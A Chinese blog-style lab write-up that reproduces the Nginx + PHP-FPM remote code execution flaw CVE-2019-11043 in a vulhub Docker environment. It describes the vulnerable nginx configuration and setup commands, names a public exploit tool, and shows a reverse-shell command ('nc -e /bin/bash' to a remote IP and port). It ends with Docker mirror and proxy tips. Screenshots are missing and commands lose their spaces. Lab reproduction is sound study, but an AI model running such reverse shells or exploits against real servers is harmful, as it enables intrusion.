CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。
向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。
该漏洞需要在nginx.conf中进行特定配置才能触发。
具体配置如下:
location ~ [^/].php(/|$) {... fastcgi_split_path_info ^(.+?.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000;...}攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。
在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,
另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:
PHP 7.0 版本
PHP 7.1 版本
PHP 7.2 版本
PHP 7.3 版本
使用 p 牛的 docker 环境进行复现:
PHP-FPM 远程代码执行漏洞(CVE-2019-11043)
https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md
准备工作:安装 docker、golang 环
sudoapt-getinstalldockerdocker-composesudoaptinstallgolang搭建漏洞环境gitclonehttps://github.com/vulhub/vulhub.gitcdvulhub/php/CVE-2019-11043&&docker-composeup-d启动环境之后,就可以看到漏洞环境的默认页面。在此为 http://127.0.0.1:8080/index.php。
安装漏洞利用工具
gitclonehttps://github.com/neex/phuip-fpizdam.gitcdphuip-fpizdamgoget-v&&gobuild四.漏洞利用url 中空格不影响命令执行:
p 牛友情提示:您应该注意,只有部分PHP-FPM子进程受到了污染,因此请尝试几次以执行该命令。
因为我用的是P牛的环境,里面没有 nc 命令。
所以不能用 nc 的反弹 shell。
给此docer容器装一个 nc:
p牛的环境有两个 docker 镜像,一个是nginx,一个是 php:
进入 nginx 的容器:
如图就装好了。
exit 此容器。尝试在url里面 nc 我本地监听的端口:
没有成功。
但是继续观察,可能是镜像不对。
因为p牛封装的这个环境有两个 docker,刚刚都是在 nginx docker 镜像里面尝试的:
试试在php镜像里面装nc。毕竟、
换镜像装 nc:
然后 nc 连接成功:
试下反弹 shell:
nc-e/bin/bash10.x.x.397777反弹 shell 成功!
这个环境我下了很久没下下来,我之前一直在国外,对一些换源、换镜像不熟悉。
方法一:阿里云容器镜像加速器
URL:https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors
进去之后获取:
然后配置 docker 文件:
注:上面的是阿里云,下面的是中科院。阿里云的更快,只用阿里云就行了。
然后 restart 一下 docker:
sudosystemctldaemon-reloadsudosystemctlrestartdocker然后就可以了!
参考链接:
[1] 镜像中心-镜像加速器
[2] 官方镜像加速 操作手册
重启 docker 之后,速度仿佛换了个 docker,很爽。
方法二:系统代理
基于 http 协议的:
需要凭据:
exporthttp_proxy="http://用户名:密码@ip:端口号/"exporthttps_proxy="http://用户名:密码@ip:端口号/"无需凭据:
exporthttp_proxy="http://ip:端口号/"exporthttps_proxy="http://ip:端口号/"注意:这种命令行运行是临时的,要全局的话加入到 etc/profile。
基于 socks5 协议:
proxychains
打公网机器
https://ke.qq.com/course/275794?flowToken=1004603